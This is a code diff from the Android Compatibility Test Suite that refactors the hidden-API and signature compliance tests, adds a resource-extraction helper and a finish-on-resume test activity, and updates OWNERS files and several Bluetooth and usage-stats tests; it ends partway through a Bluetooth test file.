public class HiddenApiTest extends AbstractApiTest {
- private String[] hiddenapiFiles;
+ private static final String HIDDENAPI_FILES_ARG = "hiddenapi-files";
+ private static final String HIDDENAPI_FILTER_FILE_ARG = "hiddenapi-filter-file";
+ private static final String HIDDENAPI_TEST_FLAGS_ARG = "hiddenapi-test-flags";
+
+ private static final Supplier<List<DexMember>> DEX_MEMBERS = getSupplierOfDexMembers();
+
private String[] hiddenapiTestFlags;
- private String hiddenapiFilterFile;
- private Set<String> hiddenapiFilterSet;
@Override
protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
- hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
- hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
- hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
- hiddenapiFilterSet = new HashSet<>();
+ hiddenapiTestFlags =
+ getCommaSeparatedListOptional(instrumentationArgs, HIDDENAPI_TEST_FLAGS_ARG);
}
@Override
public void setUp() throws Exception {
super.setUp();
DexMemberChecker.init();
- loadFilters();
}
// We have four methods to split up the load, keeping individual test runs small.
@@ -66,7 +75,7 @@
private final static Predicate<DexMember> FIELD_FILTER =
dexMember -> (dexMember instanceof DexField);
- @Test
+ @Test(timeout = 120000)
public void testSignatureMethodsThroughReflection() {
doTestSignature(METHOD_FILTER,/* reflection= */ true, /* jni= */ false);
}
@@ -149,24 +158,12 @@
}
};
- for (String apiFile : hiddenapiFiles) {
- VirtualPath.ResourcePath resourcePath =
- VirtualPath.get(getClass().getClassLoader(), apiFile);
- BufferedReader reader = new BufferedReader(
- new InputStreamReader(resourcePath.newInputStream()));
- int lineIndex = 1;
- String line = reader.readLine();
- while (line != null) {
- DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
- if (memberFilter.test(dexMember) && shouldTestMember(dexMember)
- && !isFiltered(line)) {
- DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
- observer);
- }
- line = reader.readLine();
- lineIndex++;
- }
- }
+ List<DexMember> dexMembers = DEX_MEMBERS.get();
+ dexMembers.parallelStream()
+ .filter(memberFilter)
+ .filter(m -> shouldTestMember(m))
+ .forEach(
+ m -> DexMemberChecker.checkSingleMember(m, reflection, jni, observer));
});
}
@@ -195,7 +192,7 @@
* @param line is the line from the hiddenapi-flags.csv indicating which method/field to check
* @return true if the method/field is to be filtered out, false otherwise
*/
- private boolean isFiltered(String line) {
+ private static boolean isFiltered(String line, Set<String> hiddenapiFilterSet) {
if (line == null) {
return false;
}
@@ -206,24 +203,71 @@
/**
* Loads the filter file and inserts each line of the file into a Set
- *
- * @throws IOException if the filter file does not exist
*/
- private void loadFilters() throws IOException {
+ static Set<String> loadFilters(String hiddenapiFilterFile) {
// Avoids testing members in filter file (only a single filter file can be supplied)
+ Set<String> hiddenapiFilterSet = new HashSet<>();
if (hiddenapiFilterFile != null) {
- VirtualPath.ResourcePath resourcePath =
- VirtualPath.get(getClass().getClassLoader(), hiddenapiFilterFile);
- BufferedReader reader = new BufferedReader(
- new InputStreamReader(resourcePath.newInputStream()));
- String filterFileLine = reader.readLine();
- while (filterFileLine != null) {
- if (!filterFileLine.startsWith("#")) {
- hiddenapiFilterSet.add(filterFileLine);
+ try {
+ VirtualPath.ResourcePath resourcePath =
+ VirtualPath.get(HiddenApiTest.class.getClassLoader(), hiddenapiFilterFile);
+ BufferedReader reader =
+ new BufferedReader(new InputStreamReader(resourcePath.newInputStream()));
+ String filterFileLine = reader.readLine();
+ while (filterFileLine != null) {
+ if (!filterFileLine.startsWith("#")) {
+ hiddenapiFilterSet.add(filterFileLine);
+ }
+ filterFileLine = reader.readLine();
}
- filterFileLine = reader.readLine();
+ } catch (IOException ioe) {
+ throw new RuntimeException("Failed to load filters", ioe);
}
}
+ return hiddenapiFilterSet;
}
+ /**
+ * Reads DEX method and fields from hiddenapi files.
+ *
+ * <p>This method is expensive, it typically takes ~10s to run.
+ *
+ * @return a list of {@link DexMember} objects for the fields and methods in the hiddenapi files
+ */
+ private static List<DexMember> readDexMembers() {
+ final Bundle arguments = InstrumentationRegistry.getArguments();
+ final String hiddenapiFilterFile = arguments.getString(HIDDENAPI_FILTER_FILE_ARG);
+ final String[] hiddenapiFiles =
+ getCommaSeparatedListRequired(arguments, HIDDENAPI_FILES_ARG);
+ final Set<String> hiddenapiFilterSet = loadFilters(hiddenapiFilterFile);
+ ArrayList<DexMember> dexMembers = new ArrayList<>();
+ for (String apiFile : hiddenapiFiles) {
+ try {
+ VirtualPath.ResourcePath resourcePath =
+ VirtualPath.get(HiddenApiTest.class.getClassLoader(), apiFile);
+ try (BufferedReader reader =
+ new BufferedReader(
+ new InputStreamReader(resourcePath.newInputStream()),
+ 1024 * 1024)) {
+ int lineIndex = 1;
+ String line = reader.readLine();
+ while (line != null) {
+ DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
+ if (!isFiltered(line, hiddenapiFilterSet)) {
+ dexMembers.add(dexMember);
+ }
+ line = reader.readLine();
+ lineIndex++;
+ }
+ }
+ } catch (IOException | ParseException e) {
+ throw new RuntimeException("Failed to read DEX members", e);
+ }
+ }
+ return dexMembers;
+ }
+
+ static Supplier<List<DexMember>> getSupplierOfDexMembers() {
+ return Suppliers.memoize(() -> readDexMembers())::get;
+ }
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java b/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java
new file mode 100644
index 0000000..722ea63
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api;
+
+import android.signature.cts.VirtualPath;
+import android.util.Log;
+import com.google.common.base.Suppliers;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.function.Supplier;
+import java.util.stream.Stream;
+import java.util.zip.ZipFile;
+
+/**
+ * Manages local storage of resources that need to be extracted from the Jar into the local
+ * filesystem before use.
+ */
+public class ResourceStore {
+
+ private static final String TAG = ResourceStore.class.getSimpleName();
+
+ /**
+ * Supplier for the temporary directory.
+ */
+ private static final Supplier<Path> TEMPORARY_DIRECTORY = Suppliers.memoize(() -> {
+ try {
+ return Files.createTempDirectory("signature");
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ })::get;
+
+ /**
+ * A map from a {@link VirtualPath} to a {@link ZipFile} for zip file resources that
+ * have been extracted from the jar into the local file system.
+ */
+ private static final Map<VirtualPath, ZipFile> extractedZipFiles = new HashMap<>();
+
+ public static Stream<VirtualPath> readResource(ClassLoader classLoader, String resourceName) {
+ try {
+ VirtualPath resourcePath = VirtualPath.get(classLoader, resourceName);
+ if (resourceName.endsWith(".zip")) {
+ // Extract to a temporary file and then read from there. If the resource has already
+ // been extracted before then reuse the previous file.
+ @SuppressWarnings("resource")
+ ZipFile zip = extractedZipFiles.computeIfAbsent(resourcePath, virtualPath -> {
+ try {
+ Path path = extractResourceToFile(resourceName, resourcePath);
+ return new ZipFile(path.toFile());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ });
+ return zip.stream().map(entry -> VirtualPath.get(zip, entry));
+ } else {
+ return Stream.of(resourcePath);
+ }
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Close any previously opened {@link ZipFile} instances.
+ */
+ public static void close() {
+ for (ZipFile zipfile: extractedZipFiles.values()) {
+ // If an error occurred when closing the ZipFile log the failure and continue.
+ try {
+ zipfile.close();
+ } catch (IOException e) {
+ Log.e(TAG, "Could not close ZipFile " + zipfile, e);
+ }
+ }
+ }
+
+ private static Path extractResourceToFile(String resourceName, VirtualPath resourcePath)
+ throws IOException {
+ Path tempDirectory = TEMPORARY_DIRECTORY.get();
+ Path file = tempDirectory.resolve(resourceName);
+ try (InputStream is = resourcePath.newInputStream()) {
+ Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
+ Files.copy(is, file);
+ }
+ return file;
+ }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 1be75ca..136211f 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -23,48 +23,55 @@
import android.signature.cts.FailureType;
import android.signature.cts.JDiffClassDescription;
import android.signature.cts.ReflectionHelper;
+import com.google.common.base.Suppliers;
import java.util.Comparator;
import java.util.Set;
import java.util.TreeSet;
import java.util.function.Predicate;
+import java.util.function.Supplier;
import java.util.stream.Collectors;
import org.junit.Test;
/**
* Performs the signature check via a JUnit test.
*/
-public class SignatureTest extends AbstractApiTest {
+public class SignatureTest extends AbstractSignatureTest {
private static final String TAG = SignatureTest.class.getSimpleName();
- protected String[] expectedApiFiles;
- protected String[] previousApiFiles;
- protected String[] baseApiFiles;
- private String[] unexpectedApiFiles;
+ private static final String UNEXPECTED_API_FILES_ARG = "unexpected-api-files";
+
+ private static final Supplier<String[]> EXPECTED_API_FILES =
+ getSupplierOfAnOptionalCommaSeparatedListArgument(EXPECTED_API_FILES_ARG);
+ private static final Supplier<String[]> UNEXPECTED_API_FILES =
+ getSupplierOfAnOptionalCommaSeparatedListArgument(UNEXPECTED_API_FILES_ARG);
+ private static final Supplier<String[]> PREVIOUS_API_FILES =
+ getSupplierOfAnOptionalCommaSeparatedListArgument(PREVIOUS_API_FILES_ARG);
+
+ private static final Supplier<Set<JDiffClassDescription>> UNEXPECTED_CLASSES =
+ Suppliers.memoize(SignatureTest::loadUnexpectedClasses)::get;
@Override
- protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
- expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
- baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
- unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
- previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files");
+ protected void initializeFromArgs(Bundle instrumentationArgs) {
+ String[] expectedApiFiles = EXPECTED_API_FILES.get();
+ String[] unexpectedApiFiles = UNEXPECTED_API_FILES.get();
if (expectedApiFiles.length + unexpectedApiFiles.length == 0) {
throw new IllegalStateException(
- "Expected at least one file to be specified in"
- + " 'expected-api-files' or 'unexpected-api-files'");
+ String.format("Expected at least one file to be specified in '%s' or '%s'",
+ EXPECTED_API_FILES_ARG, UNEXPECTED_API_FILES_ARG));
}
}
/**
- * Tests that the device's API matches the expected set defined in xml.
- * <p/>
- * Will check the entire API, and then report the complete list of failures
+ * Make sure that this APK cannot access any unexpected classes.
+ *
+ * <p>The set of unexpected classes may be empty, in which case this test does nothing.</p>
*/
@Test
- public void testSignature() {
+ public void testCannotAccessUnexpectedClasses() {
runWithTestResultObserver(mResultObserver -> {
- Set<JDiffClassDescription> unexpectedClasses = loadUnexpectedClasses();
+ Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
for (JDiffClassDescription classDescription : unexpectedClasses) {
Class<?> unexpectedClass = findUnexpectedClass(classDescription, mClassProvider);
if (unexpectedClass != null) {
@@ -74,16 +81,52 @@
"Class should not be accessible to this APK");
}
}
+ });
+ }
+ /**
+ * Tests that the device's API matches the expected set defined in xml.
+ *
+ * <p>Will check the entire API, and then report the complete list of failures</p>
+ */
+ @Test
+ public void testRuntimeCompatibilityWithCurrentApi() {
+ runWithTestResultObserver(mResultObserver -> {
ApiComplianceChecker complianceChecker =
new ApiComplianceChecker(mResultObserver, mClassProvider);
// Load classes from any API files that form the base which the expected APIs extend.
loadBaseClasses(complianceChecker);
+
// Load classes from system API files and check for signature compliance.
+ String[] expectedApiFiles = EXPECTED_API_FILES.get();
+ Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses,
false /* isPreviousApi */);
+
+ // After done parsing all expected API files, perform any deferred checks.
+ complianceChecker.checkDeferred();
+ });
+ }
+
+ /**
+ * Tests that the device's API matches the last few previously released api files.
+ *
+ * <p>Will check all the recently released api files, and then report the complete list of
+ * failures.</p>
+ */
+ @Test
+ public void testRuntimeCompatibilityWithPreviousApis() {
+ runWithTestResultObserver(mResultObserver -> {
+ ApiComplianceChecker complianceChecker =
+ new ApiComplianceChecker(mResultObserver, mClassProvider);
+
+ // Load classes from any API files that form the base which the expected APIs extend.
+ loadBaseClasses(complianceChecker);
+
// Load classes from previous API files and check for signature compliance.
+ String[] previousApiFiles = PREVIOUS_API_FILES.get();
+ Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
true /* isPreviousApi */);
@@ -105,9 +148,10 @@
}
}
- private Set<JDiffClassDescription> loadUnexpectedClasses() {
+ private static Set<JDiffClassDescription> loadUnexpectedClasses() {
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- return parseApiResourcesAsStream(apiDocumentParser, unexpectedApiFiles)
+ return retrieveApiResourcesAsStream(SignatureTest.class.getClassLoader(), UNEXPECTED_API_FILES.get())
+ .flatMap(apiDocumentParser::parseAsStream)
.collect(Collectors.toCollection(SignatureTest::newSetOfClassDescriptions));
}
@@ -115,12 +159,6 @@
return new TreeSet<>(Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
}
- private void loadBaseClasses(ApiComplianceChecker complianceChecker) {
- ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
- .forEach(complianceChecker::addBaseClass);
- }
-
private void checkClassesSignatureCompliance(ApiComplianceChecker complianceChecker,
String[] classes, Set<JDiffClassDescription> unexpectedClasses, boolean isPreviousApi) {
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
@@ -129,5 +167,4 @@
.map(clazz -> clazz.setPreviousApiFlag(isPreviousApi))
.forEach(complianceChecker::checkSignatureCompliance);
}
-
}
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 59fe44d..bb12c58 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -29,6 +29,7 @@
Bug: 206897736 android.intent.action.MANAGE_PERMISSION_USAGE
Bug: 206897736 android.intent.action.VIEW_APP_FEATURES
Bug: 209528070 android.intent.action.APPLICATION_LOCALE_CHANGED
+ Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -46,5 +47,6 @@
<value>android.intent.action.MANAGE_PERMISSION_USAGE</value>
<value>android.intent.action.VIEW_APP_FEATURES</value>
<value>android.intent.action.APPLICATION_LOCALE_CHANGED</value>
+ <value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
</entry>
</dynamicConfig>
diff --git a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
index 140dd6d..51b2ff0 100644
--- a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
+++ b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
@@ -20,6 +20,7 @@
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
+import java.util.Objects;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
@@ -55,6 +56,24 @@
public abstract InputStream newInputStream() throws IOException;
+ /**
+ * Override as abstract to force sub-classes to implement it.
+ */
+ @Override
+ public abstract int hashCode();
+
+ /**
+ * Override as abstract to force sub-classes to implement it.
+ */
+ @Override
+ public abstract boolean equals(Object obj);
+
+ /**
+ * Override as abstract to force sub-classes to implement it.
+ */
+ @Override
+ public abstract String toString();
+
public static class LocalFilePath extends VirtualPath {
private final String path;
@@ -76,6 +95,23 @@
}
@Override
+ public boolean equals(Object o) {
+ if (this == o) {
+ return true;
+ }
+ if (o == null || getClass() != o.getClass()) {
+ return false;
+ }
+ LocalFilePath that = (LocalFilePath) o;
+ return path.equals(that.path);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(path);
+ }
+
+ @Override
public String toString() {
return path;
}
@@ -98,6 +134,24 @@
}
@Override
+ public boolean equals(Object o) {
+ if (this == o) {
+ return true;
+ }
+ if (o == null || getClass() != o.getClass()) {
+ return false;
+ }
+ ZipEntryPath that = (ZipEntryPath) o;
+ return zip.getName().equals(that.zip.getName())
+ && entry.getName().equals(that.entry.getName());
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(zip.getName(), entry.getName());
+ }
+
+ @Override
public String toString() {
return "zip:file:" + zip.getName() + "!/" + entry.getName();
}
@@ -119,6 +173,23 @@
}
@Override
+ public boolean equals(Object o) {
+ if (this == o) {
+ return true;
+ }
+ if (o == null || getClass() != o.getClass()) {
+ return false;
+ }
+ ResourcePath that = (ResourcePath) o;
+ return url.equals(that.url);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(url);
+ }
+
+ @Override
public String toString() {
return url.toExternalForm();
}
diff --git a/tests/tests/activityrecognition/OWNERS b/tests/tests/activityrecognition/OWNERS
index febd665..6e91130 100644
--- a/tests/tests/activityrecognition/OWNERS
+++ b/tests/tests/activityrecognition/OWNERS
@@ -1,7 +1,7 @@
# Bug component: 137825
-svetoslavganov@google.com
+narayan@google.com
zhanghai@google.com
eugenesusla@google.com
evanseverson@google.com
ntmyren@google.com
-ewol@google.com
+ashfall@google.com
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index cba5df5..956d5d2 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -19,7 +19,6 @@
android_test_helper_app {
name: "CtsUsageStatsTestApp1",
defaults: ["cts_defaults"],
- platform_apis: true,
static_libs: [
"androidx.test.rules",
"compatibility-device-util-axt",
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index 06ddfad..b1af98a 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -25,6 +25,9 @@
<activity android:name=".SomeActivityWithLocus"
android:exported="true"
/>
+ <activity android:name=".FinishOnResumeActivity"
+ android:exported="true"
+ />
<service android:name=".TestService"
android:exported="true"
/>
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
new file mode 100644
index 0000000..dbe8a59
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public final class FinishOnResumeActivity extends Activity {
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ finish();
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
index 1ac6331..088769f 100644
--- a/tests/tests/app.usage/TestApp2/Android.bp
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -19,7 +19,6 @@
android_test_helper_app {
name: "CtsUsageStatsTestApp2",
defaults: ["cts_defaults"],
- platform_apis: true,
static_libs: [
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -32,12 +31,15 @@
"android.test.base",
"android.test.runner",
],
- srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+ srcs: [
+ "src/**/*.java",
+ "aidl/**/*.aidl",
+ ],
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
- "mts"
+ "mts",
],
- sdk_version: "test_current"
+ sdk_version: "test_current",
}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index a20a8f9..287e554 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -130,6 +130,8 @@
= "android.app.usage.cts.test1.TestService";
private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
= "android.app.usage.cts.test1.TestBroadcastReceiver";
+ private static final String TEST_APP_CLASS_FINISH_SELF_ON_RESUME =
+ "android.app.usage.cts.test1.FinishOnResumeActivity";
private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
@@ -468,6 +470,14 @@
startTime, endTime);
UsageStats stats = events.get(mTargetPackage);
int startingCount = stats.getAppLaunchCount();
+ // Launch count is updated by UsageStatsService depending on last background package.
+ // When running this test on single screen device (where tasks are launched in the same
+ // TaskDisplayArea), the last background package is updated when the HOME activity is
+ // paused. In a hierarchy with multiple TaskDisplayArea there is no guarantee the Home
+ // Activity will be paused as the activities we launch might be placed on a different
+ // TaskDisplayArea. Starting an activity and finishing it immediately will update the last
+ // background package of the UsageStatsService regardless of the HOME Activity state.
+ launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
launchSubActivity(Activities.ActivityOne.class);
launchSubActivity(Activities.ActivityTwo.class);
endTime = System.currentTimeMillis();
@@ -476,6 +486,8 @@
stats = events.get(mTargetPackage);
assertEquals(startingCount + 1, stats.getAppLaunchCount());
mUiDevice.pressHome();
+
+ launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
launchSubActivity(Activities.ActivityOne.class);
launchSubActivity(Activities.ActivityTwo.class);
launchSubActivity(Activities.ActivityThree.class);
diff --git a/tests/tests/appcomponentfactory/OWNERS b/tests/tests/appcomponentfactory/OWNERS
new file mode 100644
index 0000000..ef86412
--- /dev/null
+++ b/tests/tests/appcomponentfactory/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include platform/art:/OWNERS
diff --git a/tests/tests/appenumeration/OWNERS b/tests/tests/appenumeration/OWNERS
index 8a44fb2..572f16f 100644
--- a/tests/tests/appenumeration/OWNERS
+++ b/tests/tests/appenumeration/OWNERS
@@ -1,5 +1,5 @@
# Bug component: 36137
+include platform/frameworks/base:/PACKAGE_MANAGER_OWNERS
patb@google.com
-toddke@google.com
chiuwinson@google.com
-rtmitchell@google.com
+zyy@google.com
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00..b1e5966 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@
@Test
fun ensurePhoneCallOpsRestricted() {
- assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+ val pm = mContext.packageManager
+ assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+ pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+ pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
null, null)
assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 265da81..c4c33e0 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -169,6 +169,15 @@
return;
}
+ if (structure != null && structure.isHomeActivity() && !state.isFocused()) {
+ // If the system has multiple display areas, the launcher may be visible and resumed
+ // when the tests are in progress, so the tests might fail if they receives unexpected
+ // state from the launcher. Ignore the states from unfocused launcher to avoid this
+ // failure.
+ Log.i(TAG, "Ignoring the state from unfocused launcher");
+ return;
+ }
+
// send to test to verify that this is accurate.
mAssistData.putBoolean(Utils.ASSIST_IS_ACTIVITY_ID_NULL, state.getActivityId() == null);
mAssistData.putParcelable(Utils.ASSIST_STRUCTURE_KEY, structure);
diff --git a/tests/tests/bionic/Android.bp b/tests/tests/bionic/Android.bp
index 2a5a9fa..a0458d7 100644
--- a/tests/tests/bionic/Android.bp
+++ b/tests/tests/bionic/Android.bp
@@ -62,7 +62,7 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-mainline-infra",
],
data_bins: [
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
index aef247b..dde5621 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
@@ -26,8 +26,6 @@
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothManager;
import android.bluetooth.BluetoothProfile;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -42,7 +40,6 @@
private static final String TAG = BluetoothA2dpSinkTest.class.getSimpleName();
private static final int PROXY_CONNECTION_TIMEOUT_MS = 500; // ms timeout for Proxy Connect
- private static final String PROFILE_SUPPORTED_A2DP_SINK = "profile_supported_a2dp_sink";
private boolean mHasBluetooth;
private BluetoothAdapter mAdapter;
@@ -57,17 +54,11 @@
@Override
public void setUp() throws Exception {
super.setUp();
- mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_BLUETOOTH);
+ mHasBluetooth = TestUtils.hasBluetooth();
if (!mHasBluetooth) return;
- Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
- "com.android.bluetooth");
- int a2dpSinkSupportId = bluetoothResources.getIdentifier(
- PROFILE_SUPPORTED_A2DP_SINK, "bool", "com.android.bluetooth");
- assertTrue("resource profile_supported_a2dp not found", a2dpSinkSupportId != 0);
- mIsA2dpSinkSupported = bluetoothResources.getBoolean(a2dpSinkSupportId);
+ mIsA2dpSinkSupported = TestUtils.isProfileEnabled(BluetoothProfile.A2DP_SINK);
if (!mIsA2dpSinkSupported) return;
mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -89,15 +80,18 @@
@Override
public void tearDown() throws Exception {
super.tearDown();
- if (!(mHasBluetooth && mIsA2dpSinkSupported)) return;
-
+ if (!(mHasBluetooth && mIsA2dpSinkSupported)) {
+ return;
+ }
if (mAdapter != null && mBluetoothA2dpSink != null) {
mAdapter.closeProfileProxy(BluetoothProfile.A2DP_SINK, mBluetoothA2dpSink);
mBluetoothA2dpSink = null;
mIsProfileReady = false;
}
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mUiAutomation.dropShellPermissionIdentity();
mAdapter = null;
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
index ec46c51..6d94b3f 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
@@ -21,12 +21,9 @@
import android.app.UiAutomation;
import android.bluetooth.BluetoothA2dp;
import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothCodecConfig;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothManager;
import android.bluetooth.BluetoothProfile;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -41,11 +38,10 @@
private static final String TAG = BluetoothA2dpTest.class.getSimpleName();
private static final int PROXY_CONNECTION_TIMEOUT_MS = 500; // ms timeout for Proxy Connect
